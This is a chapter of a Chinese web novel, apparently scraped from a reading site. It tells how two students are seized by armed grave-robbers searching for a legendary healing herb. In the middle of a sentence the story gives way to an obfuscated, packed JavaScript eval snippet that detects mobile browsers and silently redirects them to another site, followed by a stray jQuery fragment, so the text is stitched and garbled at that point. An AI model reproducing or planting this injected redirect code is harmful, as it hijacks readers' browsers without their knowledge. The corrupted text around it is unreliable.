9. 息壤血兰⑦·小妈
作品:《撞邪后,她神女的身份瞒不住了》 那些人穿着街头风格的混搭衣物,下半身是清一色耐磨的军规战术裤,脚踩高帮作战靴。行动间透出的那股精悍与警惕,像极了一群训练有素的……老兵?
他们粗暴地用工兵铲挖掘着那些早已荒废的坟包,嘴里不干不净地咒骂着天气、任务和这见鬼的地方。
而另外两个明显是看守的家伙,手里赫然端着老式的□□,枪口正对着一个瘫倒在地、失去意识的男生——
那人身上还穿着蓝白条纹的病号服,不是陈子归又是谁?!
“子归?!”吴恙一个没忍住,惊呼出声。
蓝舒音心下大骇,想去捂他的嘴已经太迟了。
数道冰冷犀利的目光,瞬间朝他们藏身的矮坡投了过来。
“谁在那里?!滚出来!”
“走!”蓝舒音当机立断,猛地拽了吴恙一把。
但,对方显然极其熟悉这片复杂的地形。
不过几个呼吸间,两名手持突击刀,动作迅捷如猎豹的壮汉已经抄近路包抄而来,封死了他们的退路。
反抗是徒劳的。两人被粗暴地反拧着胳膊,押回了那片令人毛骨悚然的乱葬岗中心,然后被强行按着跪倒在冰冷的泥地上。
“老实点!不然一枪崩了你们!”
一个满脸络腮胡、身材魁梧的大汉举起了猎枪,黑洞洞的枪口带着十足的威慑力。
“别,别,我们就是两个手无缚鸡之力的大学生,别杀我们。”吴恙吓得举起双手,一滴清泪顺着他的脸颊滑落,模样凄楚又可怜。
他的恐惧取悦了那名络腮胡大汉,大汉哈哈大笑了两声,不再理他们。
而原本神经紧绷的蓝舒音,瞥见吴恙这副窝囊样,也是啼笑皆非,无奈地暗叹了口气。
“对,对不起啊音姐。”注意到她脸上那丝怪异的表情,吴恙一边吸着鼻子掉眼泪,一边不忘哽咽着道歉。
“行了,闭嘴。”蓝舒音低声喝止,不再看他。
她抬起头,冷静地打量起眼前这伙人。
对方总共十人。
两名持枪者站位刁钻,但神态松懈,显然没把她和吴恙这两个手无缚鸡之力的“大学生”放在眼里。
就在这时,一个手下骂骂咧咧地跑了过来,对着络腮胡抱怨道,“龙哥,这一片都快翻遍了,毛都没有!”
“没有?”被称作龙哥的络腮胡眉头紧锁,粗鲁地摸了摸下巴,显得烦躁不已,“……明明说就在这一带……去,把那小子弄醒!让他自己开口!”
“好嘞。”那手下脸上掠过一丝狠厉,转身就朝昏迷的陈子归狠狠踹了一脚。
陈子归的身子被踹得翻滚了半圈,发出一声模糊的闷哼,却仍未清醒。
“子归!”吴恙见状,立马扑过去护住好友。
“嗯?”龙哥眼中凶光一闪,黑洞洞的枪口当即调转,“你们认识?!”
吴恙被冰冷的枪口激得浑身一颤,声音发抖,却依旧硬撑着挡在陈子归身前,梗着脖子道,“他、他是我同学!你们不能这么对他!”
“同学?好得很!”龙哥狞笑一声,突然出手,一把揪住吴恙的头发,粗暴地将他拖拽到旁边一个刚被刨开的坟坑旁,毫不留情地将他踹了下去!
“既然你这么讲义气,那就你替他说!‘息壤血兰’到底在哪儿?!说不出来,老子就在这现成的坑里把你埋了!”
息壤血兰?
捕捉到这个非同寻常的关键词,蓝舒音不由地一顿。
他们这些常年混迹于各种险地奇闻的人,大多对各类传说轶闻有所耳闻。比如息壤血兰——
传闻它只生长在人迹罕至的极峻高山之巅,是一种蕴含着神奇力量的灵物。
据说它能“解万毒肉白骨”,无论身中何种奇毒,只要还吊着一口气,服下它便能强行净化毒素,并修复至完满状态。甚至对某些因修炼邪门毒功而积累的沉疴旧疾,或是被阴煞邪物侵蚀损伤的生命本源,也有着匪夷所思的奇效。
简单来说,就是神仙药。
但,类似的传说实在太多了。
蓝舒音一直觉得,这种传说听听就好。
即便世间真有如此神物,又怎会出现在七姑村这样一个荒败的村落里?
更绝非他们这群普通人能够轻易触碰染指。
就在这时,吴恙发出一声惨叫。
已经有人拿起工兵铲,将混合着碎砖石的湿冷烂泥铲起,劈头盖脸地扔向他。
蓝舒音当即道,“住手!”
“嗯?”龙哥闻声,带着一丝玩味和讥讽转过头来,“怎么,小妹妹也想学人出头?”
他上下打量着蓝舒音,痞声道,“我劝你安分点待着。我们这群糙老爷们儿办事,可不懂得什么叫怜香惜玉。”
“你们要的是东西,不是人命。”蓝舒音暗暗掐了把大腿,面上毫无畏惧地直视着他凶狠的眼睛,“如果真闹出人命,把事情搞大,对你们也没任何好处吧?你们想要的是完好无损的‘息壤血兰’,而不是尸体和麻烦,对吧?”
见她不仅不害怕,反而揣摩起他们的动机,龙哥的脸色瞬间阴沉下来。
他猛地跨前一步,“你算个什么东西?”他几乎是咬着牙,从齿缝里挤出这句话,喷出的热气带着一股烟臭,“也敢这么跟我说话?!”
冰冷的枪口重重抵在她的额间,传来坚硬的刺痛感。
蓝舒音却轻笑了一声。那笑声在紧绷的死寂中显得格外突兀。
她甚至微微偏了下头,仿佛只是拂开一缕扰人的发丝,眼神里竟没有半分惧意,反而透着一丝难以言喻的倨傲。
她语气平稳,“我敢这么说话,自然是因为我有足够的底气。”
“哦?”龙哥眯起眼,审视着这个看似普通却胆大包天的女人,枪口又往前顶了顶,“什么底气?说来听听。”
“你们常年在道上走动,消息灵通,应该听过‘霓裳夜’的名号吧?”
周围嘈杂的咒骂和铲土声瞬间一滞。
霓裳夜?
这三个字,在京市乃至更隐秘的圈子里,可谓如雷贯耳。
几个原本埋头干活的手下同时停下了动作,就连用枪指着吴恙的那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353193|183585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人也微微侧目。
龙哥的瞳孔几不可察地收缩了一下,脸上的横肉绷紧了,“……什么意思?”
他声音里的凶狠未减,却掺杂进了一丝不易察觉的惊疑和谨慎。
蓝舒音迎着他惊疑不定的目光,缓缓开口道,“我,是魏老板的小妈。”
此言一出,石破天惊。
所有人都像是被无形的手扼住了喉咙,目瞪口呆地看向这个语出惊人的女人。
龙哥先是猛地一愣,随即像是听到了天底下最荒谬的笑话,爆发出震耳欲聋的哈哈大笑,笑得前仰后合,几乎喘不上气。
“哈哈哈哈哈……小、小妈?!魏老板的……小妈?!你他妈怎么不说是他祖宗……哈哈……”
然而,他笑了半天,却发现眼前的女子依然镇定自若,甚至用一种愈发怜悯,仿佛在看跳梁小丑的眼神静静看着他。
那眼神里没有丝毫慌乱,只有从容。
他的笑声如同被刀切断般倏停,脸上的肌肉抽搐了几下,最终归于一种诡异的沉默。
他死死盯着蓝舒音,仿佛要将她从里到外看穿。
过了足足十几秒,在一片死寂中,他喉结滚动,竟问出了一个连自己都觉得滑稽的问题:
“……你说真的?”
这怀疑是本能的。这不相信是根深蒂固的。
可电光石火间,一个念头窜入脑海:在这地界混的,谁敢凭空捏造和霓裳夜如此亲近又如此离谱的关系?是嫌自己命太长了不成?况且,寻常这个年纪的女人扯虎皮做大旗,最多也就冒充个女朋友、未婚妻之类,哪有开口就自认“小妈”的?
这种荒诞到极点的身份,反而透着一股令人不敢轻易否定的邪乎劲儿。
一片死寂中,侧方的山坡上忽然传来一阵枯枝被踩断的声响。
“什么人?!”龙哥及其手下如同惊弓之鸟,瞬间高度警惕,所有目光齐刷刷地转向声音来源!
只见一个身影略显仓促地从坡上滑了下来,动作狼狈,却又异常的赏心悦目。
稳稳站定后,他拍了拍沾上尘土与草屑的衣裤,仿佛只是不经意间踏入了一场无关紧要的聚会。
“抱歉,打扰到各位了。”
来人穿着一身黑曜石色冲锋衣裤,衣料在稀薄的天光下泛着低调的光泽,完美勾勒出他宽肩窄腰,挺拔修长的优越身形。
然后他抬起脸,露出了一张堪称造物主偏爱的面容。肤色是冷调的白皙,几缕乌黑柔亮的发丝垂落在轮廓优美的美人尖前,非但不显凌乱,反添了几分随性的慵懒。
他仿佛完全没察觉到现场的剑拔弩张,一副状况外的微笑,“我是来这边徒步的,不小心迷了路。请问祠堂该怎么走?”
因他这突兀至极的出现和从容平和的态度,现场的气氛陷入了另一种更为诡异的凝滞。
紧接着,龙哥从震惊中反应过来,顿觉被戏弄,大怒着将手中猎枪调转方向。
黑洞洞的枪口对准了这不速之客,他厉声咆哮道,“小子,跟老子在这装傻充愣?问路?老子送你上黄泉路走不走?”